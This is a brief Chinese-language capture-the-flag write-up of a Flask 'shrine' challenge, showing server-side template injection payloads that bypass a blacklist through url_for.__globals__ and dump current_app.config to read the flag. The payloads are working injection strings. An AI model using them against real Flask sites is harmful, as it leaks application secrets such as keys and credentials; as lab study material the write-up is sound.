打开题目,没什么头绪
查看页面源代码看一下
发现注册了一个名为FLAG的config,这里可能有flag,
存在flask-jinja2模板注入,并且存在黑名单过滤。
输入shrine/{{7*7}}
注入成功
通过url_for()与globals()函数,绕过黑名单。
/shrine/{{url_for.__globals__}}
发现了current_app()函数
查看其中的config得到flag
/shrine/{{url_for.__globals__['current_app'].config}}